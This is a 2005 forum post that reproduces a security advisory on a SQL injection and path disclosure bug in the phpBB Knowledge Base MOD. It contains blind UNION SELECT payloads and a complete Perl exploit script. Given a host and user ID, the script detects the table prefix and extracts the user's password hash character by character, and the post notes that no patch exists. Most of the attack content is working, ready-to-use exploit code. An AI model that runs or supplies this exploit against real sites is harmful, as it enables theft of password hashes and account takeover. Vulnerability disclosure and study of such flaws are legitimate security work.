|
Administrator
Registrierungsdatum: 04.2004
Beiträge: 349
Karma [?]: 41
|
[SePro Advisory #2] phpBB - Knowledge Base MOD - SQL-Injection&Full Path Disclosure
Zitat:
#################################
# phpBB - Knowledge Base MOD
# SQL-Injection vulnerability and Full Path Disclosure
#
# Discovered by [R] and deluxe89
#################################
Discussion:
The phpbb - Knowledge Base MOD has a relatively hard to exploit SQL-Injection vulnerability. However, an attacker can exploit this bug and receive informations from the database.
The Bug:
The script doesn't filter the cat variable.
If we apply something wrong here:
/kb.php?mode=cat&cat='
We will get an error similar to this:
Could not obtain category data
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax
SELECT * FROM phpbb_kb_categories WHERE category_id = \'
Line : 131
File : /here/is/the/full/path/functions_kb.php
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WH ERE+1=0
No match: Categorie doesn't exist.
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users
Match: DEBUG MODE - SQL-Error
Therefor the only thing an attacker can find out is whether a row is matched or not.
Exploit:
The attacker may compare the informations in the database with test values. Example:
0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+ user_id=2+AND+ascii(substring(user_password,1,1))= 97
If it returns an SQL-Error, the first character of the hash is an 'a'.
Exploit available at the websites below.
Patch:
No patch available by now.
Greetz to madinfect, reddi, darkkilla, EaTh, Astovidatu and Doc
www.security-project.org
www.batznet.com
|
In Zusammenarbeit mit [R].
Exploit:
Code:
#!/usr/bin/perl
use strict;
use IO::Socket::INET;
$| = 1;
print "
#########################
# phpBB KnowledgeBase Hack - Exploit
#
# Discovered by [R] and deluxe89
# Exploit by deluxe89
#########################
\n";
if($#ARGV < 2)
{
print "Usage: ./phpbb_kb.pl host path userid [proxy:port]\n";
print "Example: ./phpbb_kb.pl www.host.com /phpBB2/ 2 127.0.0.1:80\n";
exit;
}
my $debug = 0;
my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $prefix = '';
my ($addr, $port) = ($ARGV[3] ne '') ? split(/:/, $ARGV[3]) : ($host, 80);
if($ARGV[3] ne '')
{
print "[+] Using a proxy\n";
}
else
{
print "[+] You're using NO proxy!\n";
sleep(3);
}
#
# Get the table prefix
#
my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('[-] Could not connect to server');
my $value = "mode=cat&cat='";
print $sock "GET http://$host${path}kb.php?$value HTTP/1.1\r\nHost: $host\r\nConnection: Close\r\n\r\n";
while(<$sock>)
{
if($_ =~ m/FROM (\w+)kb_categories/)
{
$prefix = $1;
print "[+] Table prefix: $prefix\n";
last;
}
}
if($prefix eq '')
{
die("[-] Getting the table prefix failed.\n");
}
#
# Getting the hash
#
print "[+] Getting the hash. Please wait some minutes..\nHash: ";
my $hash = '';
for(my $i=1;$i<33;$i++)
{
my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('[-] Could not connect to server');
if(&test($i, 96)) # buchstabe
{
for(my $c=97;$c<103;$c++)
{
if(&test($i, $c, 1))
{
print pack('c', $c);
last;
}
}
}
else # zahl
{
#print "0-4\n";
for(my $c=48;$c<58;$c++)
{
if(&test($i, $c, 1))
{
print pack('c', $c);
last;
}
}
}
}
print "\n";
sub test
{
my ($i, $num, $g) = @_;
my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('Could not connect to server');
my $value = "mode=cat&cat=0+union+select+0,1,3,3,7,0+from+${prefix}users +where+user_id=$userid+and+ascii(substring(user_pa ssword,$i,1))";
$value .= ($g) ? '=' : '>';
$value .= "$num/*";
if($debug)
{
print "\t$value\n";
}
print $sock "GET http://$host${path}kb.php?$value HTTP/1.1\r\nHost: $host\r\nConnection: Close\r\n\r\n";
my $if = 0;
while(<$sock>)
{
if($_ =~ m/DEBUG MODE/)
{
return 1;
}
}
return 0;
}
deluxe
Geändert von deluxe (18.04.2005 um 17:37 Uhr).
|
18.04.2005, 17:34
Linear-Darstellung
